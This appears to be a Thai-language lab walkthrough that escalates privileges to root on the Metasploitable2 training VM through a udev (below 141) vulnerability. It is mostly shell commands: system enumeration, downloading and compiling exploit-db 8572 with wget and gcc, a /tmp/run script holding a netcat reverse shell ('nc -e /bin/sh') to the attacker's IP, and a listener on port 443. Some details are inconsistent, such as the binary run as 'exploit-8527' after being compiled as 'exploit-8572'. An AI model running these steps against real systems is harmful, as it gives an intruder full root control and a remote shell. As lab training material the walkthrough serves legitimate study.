How to escalate the privilege by UDEV < 141 – Metasploitable2

บทนำ (Overview)

บทความนี้นำเสนอวิธีการยกระดับสิทธิให้สูงขึ้นเป็น root ทำให้สามารถควบคุมเครื่องได้อย่างเบ็ดเสร็จ โดยมีหลักการเบื้องต้นที่พอจะสรุปได้ดังนี้

  1. ค้นหาระบบปฏิบัติการ เช่น “Linux” หรือ “Windows” เป็นต้น
  2. ค้นหา “Version” ของระบบปฎับัตการ เช่น “Ubantu 8.04” หรือ “Windows 7” เป็นต้น
  3. ค้นหา “Version” ของ “Kernel” เช่น “2.6”
  4. ค้นหา “Process” ที่กำลัง “Run” โดย “Root” และ “Everyone”
  5. ตรวจสอบ “Version” ทั้งหมดที่ได้รวบรวมมากับ “Exploit-db”
  6. ยืนยัน “Version” ของ “Process” หรือ “daemon” ที่คาดว่าเป็นช่องโหว่มาตรงกันหรือไม่
  7. ดาวน์โหลด และศึกษาการใช้งาน “Exploit”
  8. ทดสอบใช้งาน “Exploit”

ขั้นตอน (Steps)

  1. ช่องโหว่จากบทความ How to exploit the distcc daemon – Metasploitable2 พบว่ายังไม่มีสิทธิ “Root” ทดสอบโดยใช้คำสั่ง id ดังนี้ เป้าหมายคือจะต้องได้สิทธิจาก “daemon” ไปเป็น “root”
    metasploitable2-UDEV-prives-01
  2. ตรวจสอบ “version” ของ “OS” เพื่อหาช่องโหว่โดยใช้คำสั่งดังนี้
    lsb_release -a
    

    metasploitable2-UDEV-prives-02

  3. จากนั้นตรวจสอบ “Kernel” โดยใช้คำสั่ง
    uname -a 
    

    metasploitable2-UDEV-prives-03
    เพิ่มเติม: “kernel” คือโปรแกรมหลักที่อยู่ในระบบปฎิบัติการ ซึ่งสามารถควบคุมทุกสิ่งที่เกิดขึ้นในระบบ อาจเปรียบได้เหมือน “shell” ของ “bash, csh หรือ ksh” ของ “Unix” ที่ติดต่อกับผู้ใช้ แต่ kernel จะไม่ได้ติดต่อโดยตรงกับผู้ใช้ แต่นะติดต่อกับโปรแกรมอื่น ๆ หรือ อุปกรณ์หรือฮาร์ดแวร์ต่าง ๆ รวมถึง “processor” และ “memory” นั้นเอง

  4. เราจะพบว่า “cursor” ใช้งานจากเป็นลักษณะว่าง ๆ อาจทำให้ไม่ทราบคำสั่งนั้นได้รับการตอบสนองหรือให้ใช้ คำสั่ง “python” เพื่อให้ปรากฏ “cursor” ตามภาพ ถ้าใช้คำสั่งแล้วไม่ปรากฏ ในขั้นตอนของ “set payload” ให้ลองใช้ค่า “default”
    python -c 'import pty;pty.spawn("/bin/bash")'
    

    metasploitable2-UDEV-prives-04

  5. จากนั้นเราจะหา “Process” ที่กำลังอยู่ “run” อยู่ภายใต้ “root” โดยใช้คำสั่ง
    /tmp$ ps -f -u root |awk '{print $8}' | sort -u
    

    เพิ่มเติม: “daemon” คือโปรแกรมประเภทหนึ่งอยู่บน “Unix” ที่จะทำงานอยู่ใน “Background process” (โดยมากไม่ได้ถูกควบคุมโดยผู้ใช้งาน) ซึ่งจะทำงานโดยภายใต้เงื่อนไขหรือเงื่อนไขที่กำหนดไว้ ใน “Unix” ใด ๆ โดยปกติจะมีอยู่หลาย ๆ “daemon” ตัวอย่างที่จะสามารถทำให้ “daemon” ทำงาน เช่น เงื่อนไขกำหนดเวลา หรือวันทำงาน, มีไฟล์เข้ามาใน “path” ที่กำหนดไว้ การรับเมล์ การให้บริการเว็บ เป็นต้น ในแต่ละ “daemons” จะถูกสร้างขึ้นมาเรียกว่า “process” โดยที่แต่ละ “process” จะถูกกำหนดหมายเลขที่แตกต่างกัน (process identification number – PID) โดย “process” ทั้งหมดจะถูกจัดการโดย “Kernel” metasploitable2-UDEV-prives-05

  6. จากคำสั่งได้ผลลัพธ์ดังนี้
    /bin/dd
    /bin/login
    /bin/sh
    /sbin/getty
    /sbin/init
    /sbin/udevd
    /usr/bin/jsvc
    /usr/bin/rmiregistry
    /usr/bin/unrealircd
    /usr/lib/postfix/master
    /usr/sbin/apache2
    /usr/sbin/cron
    /usr/sbin/nmbd
    /usr/sbin/rpc.idmapd
    /usr/sbin/rpc.mountd
    /usr/sbin/smbd
    /usr/sbin/sshd
    /usr/sbin/xinetd
    CMD
    Xtightvnc
    [aio/0]
    [ata/0]
    [ata_aux]
    [events/0]
    [kblockd/0]
    [khelper]
    [khubd]
    [kjournald]
    [kpsmoused]
    [kseriod]
    [ksnapd]
    [ksoftirqd/0]
    [ksuspend_usbd]
    [kswapd0]
    [kthreadd]
    [lockd]
    [migration/0]
    [nfsd4]
    [nfsd]
    [pdflush]
    [rpciod/0]
    [scsi_eh_0]
    [scsi_eh_1]
    [scsi_eh_2]
    [watchdog/0]
    fluxbox
    logger
    ruby
    sudo
    xterm
    
  7. ให้พยายามหาโปรแกรมที่สามารถ “execute” โดย “everyone” หรือ “group” ที่เป็น “daemon” ดังนั้นเริ่มต้นหา path ของบาง “process” ก่อนโดยใช้ข้อมูลข้างดังนี้
    which CMD
    which Xtightvnc
    which fluxbox
    which logger
    which ruby
    which sudo
    which xtermwhich CMD
    which fluxbox
    which logger
    which ruby
    which sudo
    

    metasploitable2-UDEV-prives-06

  8. จากนั้นตรวจสอบ “permission” ทั้งหมด ให้ตัด “permission” ที่ไม่มีสิทธิออกไป
    ls -l /bin/dd
    ls -l /bin/login
    ls -l /bin/sh
    ls -l /sbin/getty
    ls -l /sbin/init
    ls -l /sbin/udevd
    ls -l /usr/bin/jsvc
    ls -l /usr/bin/rmiregistry
    ls -l /usr/bin/unrealircd
    ls -l /usr/lib/postfix/master
    ls -l /usr/sbin/apache2
    ls -l /usr/sbin/cron
    ls -l /usr/sbin/nmbd
    ls -l /usr/sbin/rpc.idmapd
    ls -l /usr/sbin/rpc.mountd
    ls -l /usr/sbin/smbd
    ls -l /usr/sbin/sshd
    ls -l /usr/sbin/xinetd
    ls -l /usr/bin/Xtightvnc
    ls -l /usr/bin/fluxbox
    ls -l /usr/bin/logger
    ls -l /usr/bin/ruby
    ls -l /usr/bin/sudo
    
    

    metasploitable2-UDEV-prives-07

  9. จากนั้นไปที่เว็บไซต์ https://www.exploit-db.com และใช้คำค้นหา เช่น
    //OS + version เอาแค่จุดเดียว + privilege escalation
    Linux 2.6 privilege escalation
    
  10. เพื่อความสะดวกรวดเร็วในการค้นหา (เนื่องจากเว็บติด captcha) ให้เปิดทิ้งเอาไว้ทุกหน้า และใช้ “ctrl + F” สำหรับค้นหาแต่ละ “page”metasploitable2-UDEV-prives-08
  11. การค้นหา “daemon” ให้ตัดตัว “d” ตัวสุดท้ายในคำค้นหา จากตัวอย่างเราพบดังนี้ metasploitable2-UDEV-prives-09
  12. ให้ตรวจสอบ “version” ของ “daemon” เพื่อยืนยันว่าเป็นช่องโหว่จริงหรือไม่โดยใช้คำสั่ง
    dpkg -l | grep udev
    
  13. เราจะพบ “version” ต่ำกว่า “141” เป็นไปได้ที่จะมีช่องโหว่ metasploitable2-UDEV-prives-10
  14. ให้ดาวน์โหลดไฟล์ “exploit” มาไว้ที่เครื่องเราก่อน หรือถ้าเป้าหมายสามารถดาวน์โหลดจาก “internet” ได้เลยให้ดาวน์โหลดโดยใช้คำสั่งดังนี้ อย่างไรก็ตามก็ขึ้นอยู่กับว่าเครื่องเป้าหมายสามารถใช้งาน “gcc” เพื่อ “compile” โปรแกรมที่ดาวน์โหลดได้หรือไม่ด้วย
    wget --no-check-certificate  http://www.exploit-db.com/download/8572 -O exploit-8572.c
    

    metasploitable2-UDEV-prives-12

  15. ในกรณีดาวน์โหลดหรือ “compile” ที่เครื่องเราก่อนให้ เปิด “apache2” และนำไฟล์ไปวางไว้ที่ “/var/www/html” จากนั้นใช้คำสั่ง “wget” จากเครื่องเหยื่อเพื่อดาวน์โหลดไป
    gcc exploit-8572.c -o exploit-8572
    ls -l exploit-8572
    
  16. ก่อนที่จะดาวน์โหลดไฟล์ให้หาไดเรกทอรีที่เรา (daemon, everyone)  สามารถเขียนและได้สิทธ์ “execute” ไฟล์ได้เสียก่อน โดยส่วนมากคือ “folder” ที่ชื่อ /tmp หรือใช้คำสั่งคือ
    //-type d หาเฉพาะ directory
    //-perm -o+wx หา everyone สามารถ w และ execute
    //-ls แสดง permission
    //2>/dev/null กรองไดเรกทอรีไม่มีสิทธิออกไป
    find / -type d -perm -o+wx -ls 2>/dev/null
    
    //-group daemon หรือระบุ user ที่เรามีสิทธิอยู่
    find / -type d -perm -u+wx,g+wx -group daemon -ls 2>/dev/null
    

    metasploitable2-UDEV-prives-11

  17. กลับมาที่เครื่องผู้โจมตีให้ตั้ง “listener” เพื่อให้เครื่องเหยื่อตอบกลับมาเป็นสิทธิ “root” ดังนี้
    nc -nlvp 443
    
  18. จากนั้นเราจะสร้างไฟล์ที่ “/tmp/run” และเขียนให้สามารถเชื่อมต่อ “nc” กลับมาที่เครื่องผู้โจมตีโดยใช้คำสั่งดังนี้
    //โดยที่ IP ที่ตอบกลับมาเป็นเครื่องของผู้โจมตี
    echo '#!/bin/sh' > /tmp/run
    echo '/bin/nc -e /bin/sh 192.168.1.57 443' >> /tmp/run
    chmod 777 run
    

    metasploitable2-UDEV-prives-13

  19. จากนั้นตรวจสอบหมายเลข PID
    ps -eaf | grep udev | grep -v grep
    

    metasploitable2-UDEV-prives-14

  20. จากนั้นใช้งาน exploit โดยใช้ PID ที่พบ – 1 ดังนี้
    ./exploit-8527 2772
    

    metasploitable2-UDEV-prives-15

ใส่ความเห็น